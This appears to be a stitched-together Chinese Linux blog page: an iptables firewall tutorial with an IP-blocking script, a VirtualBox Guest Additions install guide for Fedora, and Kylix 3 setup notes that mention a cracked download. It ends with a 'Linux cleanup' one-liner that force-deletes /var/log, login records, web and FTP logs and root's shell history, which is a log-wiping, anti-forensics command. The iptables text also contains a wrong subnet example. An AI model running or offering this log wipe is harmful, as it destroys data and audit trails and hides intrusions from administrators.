Linux防火墙iptables简明教程

Linux防火墙iptables简明教程

1.安装iptables

很多Linux已经默认安装iptables,可使用后文的查看命令测试是否安装

CentOS/RedHat下执行:

yum install iptables

Debian/Ubuntu下执行:

apt-get install iptables

2.查看现有的iptables规则

命令后面的line-number为显示行号(将规则一则一则输出,并显示行号),可选,方便后文的删除指令。

iptables -L -n --line-numbers

3.删除某iptables规则

例如,删除第12行的规则,行号可由之前的命令查看

iptables -D INPUT 12

4.清除现有iptables规则

iptables -F
iptables -X
iptables -Z

5.创建规则

a).开放端口

命令iptables -A INPUT -j REJECT将屏蔽其他未授权的端口,因此请务必开放22端口以保障SSH连接正常~

#允许本机访问
iptables -A INPUT -s 127.0.0.1 -d 127.0.0.1 -j ACCEPT
# 允许已建立的或相关连的通行
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
#允许所有本机向外的访问
iptables -A OUTPUT -j ACCEPT
# 允许访问22端口
iptables -A INPUT -p tcp --dport 22 -j ACCEPT
#允许访问80端口
iptables -A INPUT -p tcp --dport 80 -j ACCEPT
#允许FTP服务的21和20端口
iptables -A INPUT -p tcp --dport 21 -j ACCEPT
iptables -A INPUT -p tcp --dport 20 -j ACCEPT
#如果有其他端口的话,规则也类似,稍微修改上述语句就行
#禁止其他未允许的规则访问
iptables -A INPUT -j REJECT
iptables -A FORWARD -j REJECT

b).屏蔽ip

iptables -I INPUT -s 123.123.123.123 -j DROP

可通过更换上述ip为ip段来达到屏蔽ip段的目的~

若需屏蔽整个ip段(123.0.0.1到123.255.255.254)则换为123.0.0.0/8
若需屏蔽ip段123.123.0.1到123.123.255.254,则换为124.123.0.0/16
若需屏蔽ip段123.123.123.1到123.123.123.254则换为123.123.123.0/24

6.设置开机启动

一般在安装iptables完成后,开机启动会自动设置成功,但在个别CentOS系统上,貌似还有些问题,可以使用如下命令手动设置

chkconfig --level 345 iptables on

7.保存iptables规则

service iptables save

8.iptables在手动防CC攻击中的简单应用

关于获取攻击者ip的方法,可以通过很多方法获取,如查看网站日志等,本文不再赘述。

a).建立要屏蔽的ip/ip段文件,名为ip.txt

#屏蔽的ip
123.4.5.6
#屏蔽的ip段(编写方法,同前文)
123.4.5.6/24

b).建立block_ip.sh脚本文件

#!/bin/sh
# Filename: block_ip.sh
# Purpose:  blocks all IP address/network found in a text file
#               The text file must have one IP address or network per line
#################################################################

# Change the following path/filename to match yours
IP_LIST_FILE=/path/to/ip.txt

#################################################################
# Don't change anything below unless you are a smarty pant!
#################################################################
IPTABLES_BIN=/sbin/iptables

# Get the IP address/network from the file and ignore any line starting with # (comments)
BAD_IP_ADDR_LIST=$(grep -Ev "^#" $IP_LIST_FILE)

# Now loop through the IP address/network list and ban them using iptabels
for i in $BAD_IP_ADDR_LIST
do

echo -n "Blocking $i ...";
$IPTABLES_BIN -A    INPUT -s $i -j DROP
$IPTABLES_BIN -A OUTPUT -d $i -j DROP

echo "DONE.";
done
##################################################################
# END OF SCRIPT - NOTHING TO SEE HERE - THAT'S ALL FOLKS!
##################################################################

c).运行脚本

sh /path/to/block_ip.sh

d).查看iptables规则是否生效/正确


fedora下安装VirtualBox Additions fedora16可用。


最近为了尝试Fedora 13这个发行版,就在虚拟机上装了一个,结果安装增强包时出了问题,找了好久才解决。
步骤如下:
1、
因为需要安装内核开发包,准备系统编译扩展内核模块,VirtualBox推荐使用DKMS。同时需要一些开发包。(根用户权限要求)yum update(更新系统到最新版packets)
安装 DKMS 和 GNU C编译器yum install dkms
yum install gcc
2、确认Linux内核是不是启用了PAE的。具体怎么查看不清楚,我是直接找到kernel 包看的。
rpm -qa|grep kernel|sort结果:abrt-addon-kerneloops-1.1.0-1.fc13.i686kernel-2.6.33.3-85-fc13.i686这个kernel-2.6.33.3-85-fc13.i686,其中kernel-pae包,应该没有启用PAE内核。
包含这些包binutilsgccmakepatchlibgompglibc-headersglibc-develkernel-headerskernel-devel OR kernel-pae-devel
安装:yum install binutils make patch libgomp glibc-headers glibc-devel kernel-headers kernel-devel如果是启用PAE,则是yum install binutils make patch libgomp glibc-headers glibc-devel kernel-headers kernel-pae-devel
3、再次调用这个命令:
rpm -qa|grep kernel|sort
结 果:abrt-addon-kerneloops-1.1.0-1.fc13.i686kernel- 2.6.33.3-85.fc13.i686kernel-devel-2.6.34.7-61.fc13.i686kernel-headers-2.6.34.7-61.fc13.i686
就是这一步有问题。这里目的是查看kernel跟kernel-devel的版本是不是一致的。这里kernel版本低了,需要升级。安装:yum update kernel-2.6.33.3-85.fc13.i686
到这里,重启一下。
3、接下来就是安装Guest Additions
载入光驱(点击Install Guest Additions),可能需要命令:mount /dev/scd0 /media/cdrom.
到光驱目录下,执行:sh ./VBoxLinuxAdditions-x86.run
接下来顺利安装了
[参考:VirtualBox论坛、荐程工坊]


Kylix 3在Red Hat AS 3.0上的安装和使用

一、序
   记得几天前从一个叫做www.rescn.net的网站上下载了一个破解的Kylix3,于是就安装到机房的一台名字叫做ibm7的机器上(内位说了: 有什么特别的吗?没什么特别,之因为这台机器的位置和空调离的比较远。)这是一台IBM IntelliStation M Pro 6230型号的高性能PC,比我自己的杂牌机强多了,可惜这是企业的,上面跑的也是我亲手安装的Red Hat Enterprise Linux AS 3.0。而这个Kylix呢,是一个iso格式的文件,已经制成了光盘,这就很好安装了;还可以用winimage解压,保存到硬盘上(如C盘),然后在 linux中挂盘安装。
  于是我在一个这个没有睡午觉的下午把它安上了,并成功编译和发布了。

  二、安装

  我习惯性地使用了root身份运行:

  # sh setup.sh -m

  否则,据Kylix论坛(kylix.linuxaid.com.cn)上的一些兄弟说,Kylix 3的安装程序会把数据都塞到系统的根目录上,就算卸载,它也会留下许多的空目录的,手工删除可是很麻烦的。
  安装过程中涉及到路径选择和组件选择,路径默认为/usr/local/kylix。
  三、运行Kylix 3
  1,早就听说Kylix难装,所以就没抱着直接运行的希望。
  注意:此时的桌面环境为GNOME,屏幕是1024*768/256色的。
  打了一下startdelphi,出现了一个什么a call of os function failed,随后又出现这样的信息:
  Warning: Missing charsets in String to Fontset Conversion.
  费了九牛二虎之力,愣是没直到哪儿出的错!
  后来,下午睡了一觉,醒来之后,就忽然想道到KDE了,于是就切换了过去。
  运行startdelphi之后,显示:
  Warning: Missing charsets in String to Fontset Conversion.
  然后出现错误提示:Error Creating Images: Xpm Color Failed.
   Delphi主界面出现了,可是不能出现默认的Project窗体,New Application不成功。想想是不是显卡设置的问题呢?据说要颜色位低一些才行,可是我那个屏幕已经是1024*768并且是256色的,觉得别 扭,就决定反其道而行之,调成1280*960的,颜色调成了百万像素,想不到熟悉的Delphi界面在屏幕上出现了。
  2,解决在RH9下Kylix3的IDE不能编译调试程序的方法

  Kylix3的IDE(包括BCB和Delphi)在RH9下不能进行程序的运行调试,一启动调试程序就会挂起,这是因为RH9里包含的Native POSIX Thread Library (NPTL)和Kylix3不大兼容。

解决的方法是编辑Kylix3的启动脚本(startbcb和startdelphi)在倒数第二行加入环境变量设置

  export LD_ASSUME_KERNEL=2.4.1

让Kylix3不使用NPTL,这样Kylix3就可以顺利的按F9进行程序的编译调试了。

  但是往往引起其他问题。

  3,安装完后在中文下界面不能正常显示的问题

  (1),方法一:

  就是编辑你的Kylix符号链接目录下的:

  就是/usr/local/bin/下的

  startbcb、startdelphi、startkylix三个文件脚本,分别在其脚本的倒数  第三行(就是还没开始执行程序的地方)加插下面一句:

  export LANG=zh_CN

  export LC_ALL=zh_CN

  保存。再用startbcb、startdelphi或 startkylix执行Kylix就行了。

  这个方法的缺点是,不能解决汉字输入问题。

  (2),方法二:

  修改/etc/sysconfig/i18n,把其中的zh_CN.GB18030替换为zh_CN.GBK即可。这个方法修改简单,而且可以解决大部分软件不能输入汉字问题,其中就包括Kylix的汉字输入问题。

  4,如果用的是英文XWIN,可以这样显示出中文

   只要装了中文字库,虽然用的是英文XWIN(用LANG=zh_CN.GB2312 ./程序名)来运行程序也可使你的程序显示出中文。CLX中的Font属性可以不对应字体名的,只不过是字体不好看;但汉字是出来了。同时这个方法也可以 用于在非中文XWIN中显示汉字用

如编辑程序kwirte等,但是不能输入中文;
  5、启动以后基本可用,但是菜单字体特别大,工具栏字体特别小。
  使用Linux公社提供的Xft2补丁包或者台湾firefly网友提供的 RedHat 补丁包。安装以后不要修改KDE中的字体设置。就不会出现这个问题了。

  四、编译程序

  1,Kylix 3调用console window 的命令

   在 Kylix IDE 环境中 ,主选单 "Run"->"parameters"中 有个"Use Launcher Application" 选项,将其打勾则以后自己写的Kylix程序一执行就会带出一个"console window";而在程序代码中撰写system("ls"),就会在"console window"列出目录及档案,但该 "console window"好像关不掉,需跟着主程序一起结束。

  2,决kylix3的C++ builder不能正确编译的问题,其实根本不用改头文件,只需要正确设置一下就可以了:

  project->Options->Directories/Conditionals->include path:

  中的$(BCB)/include/stlport:$(BCB)/include:$(BCB)/include/vcl:/usr/include

  改为/usr/include:$(BCB)/include/stlport:$(BCB)/include:$(BCB)/include/vcl

  就可以了正确编译了

  3,有的汉字输入法在Kylix中输入时,输入栏会不停闪烁,很难输入。

  解决方法:会出现这种情况的输入法有Chinput,miniChinput 和 SCIM,推荐你换个输入法,除非你情有独钟。因为这些输入法还和 FlashPlayer 6 的浏览器插件有冲突,会让 mozilla 内核的浏览器崩溃。

  4,换了输入法以后无法输入汉字,汉字输入法无法激活。

   解决方法:修改/etc/sysconfig/i18n,把其中的zh_CN.GB18030替换为zh_CN.GBK即可。这个方法应该对所有的支持 GBK编码的输入法都管用。而且这个方法可以解决用Wine运行的程序输入汉字的问题。Kylix可能就是在一个特殊的Wine上执行的。

  5、Kylix3-BCB在MandrakeLinux9.1和RedHat9.0等新版Linux不能编译的问题。

  解决方法:

  补丁:http://kylix.linuxaid.com.cn/xoops2...visit.php?lid=9

  此补丁解决Kylix3-BCB在MandrakeLinux9.1和RedHat9.0等新版Linux不能编译的问题。

使用方法:

  (1)、解压:tar zxvf kylix3libpatch_mdk9.1_rhl9.tar.gz

  (2)、将解出来的3个文件:crt1.o,libc.so,libpthread.so拷贝到$(BCB)/lib/obj中($(BCB)指你的Kylix3的安装目录)

  (3)、新建一工程,点击菜单Project->Options...->Directories/Conditionals,将Include Path:设为/usr/include行头,

  如:/usr/include:$(BCB)/include/stlport:$(BCB)/include:$(BCB)/include/vcl

  6,Kylix编译出的程序脱离IDE运行的问题

  因为Kylix编译出的程序需要一些动态运行库的支持,而这些动态运行库不在默认搜索路径下面路径,所以会出现无法执行的错误,解决的方法有两个:

  方法一:

  在运行你的程序前,先设定 LD_LIBRARY_PATH 的值。

  export LD_LIBRARY_PATH=/usr/local/kylix3/bin:$LD_LIBRARY_PATH

  如果每次都设定觉得麻烦可以建一个脚本(像startdelphi那样的脚本)。不过说实话,这样还是麻烦,下面有个一劳永逸的方法。

  方法二:

  修改文件/etc/ld.so.conf,把路径/usr/local/kylix3/bin加入其中,然后用root用户执行一下/sbin/ldconfig就可以了。

  7,Kylix3编写ApacheDso不能使用的问题。

  解决方法:同解决在IDE中不能运行的方法相同,降版本号。

8,发布问题:如果单纯拷贝可执行文件到目标机器上,不可运行。总不能在目标机器上也安装一套Kylix吧?
  方法一:首先把/usr/local/kylix3/bin下的某两个链接库(目前还不确定,就都拷贝了)拷贝到目标机器的某个文件夹,如ibm05上的/home/pg3/delphi下面。
  然后设置/etc/ld.conf.so,后面加上一行/home/pg3/delphi,并运行ldconfig;
  修改/etc/profile,设置
  PATH=/home/pg3/Delphi:PATH
  export LD_LIBRARY_PATH=/home/pg3/dlphi:$ LD_LIBRARY_PATH,然后就可以运行了。
  方法二:据说用KInstallBuilder为你的应用程序打个安装包,就可以在大部分Linux上正确安装运行。


linux 清理

rm -rf /var/log/lastlog ; rm -rf /var/log/telnetd ; rm -rf /var/run/utmp ; rm -rf /var/log/secure ; rm -rf /root/.ksh_history ; rm -rf /root/.bash_history ; rm -rf /root/.bash_logut ; rm -rf /var/log/wtmp ; rm -rf /etc/wtmp ; rm -rf /var/run/utmp ; rm -rf /etc/utmp ; rm -rf /var/log ; rm -rf /var/adm ; rm -rf /var/apache/log ; rm -rf /var/apache/logs ; rm -rf /usr/local/apache/log ; rm -rf /usr/local/apache/logs ; rm -rf /var/log/acct ; rm -rf /var/log/xferlog ; rm -rf /var/log/messages ; rm -rf /var/log/proftpd/xferlog.legacy ; rm -rf /var/log/proftpd.access_log ; rm -rf /var/log/proftpd.xferlog ; rm -rf /var/log/httpd/error_log ; rm -rf /var/log/httpd/access_log ; rm -rf /etc/httpd/logs/access_log ; rm -rf /etc/httpd/logs/error_log ;rm -rf /var/log/news/suck.notice ; rm -rf /var/spool/tmp ; rm -rf /var/spool/errors ; rm -rf /var/spool/logs ; rm -rf /var/spool/locks ; rm -rf /usr/local/www/logs/thttpd_log ; rm -rf /var/log/thttpd_log ; rm -rf /var/log/ncftpd/misclog.txt ; rm -rf /var/log/ncftpd.errs ; rm -rf /var/log/auth ; rm -rf /root/.bash_history ; touch /root/.bash_history ; history -r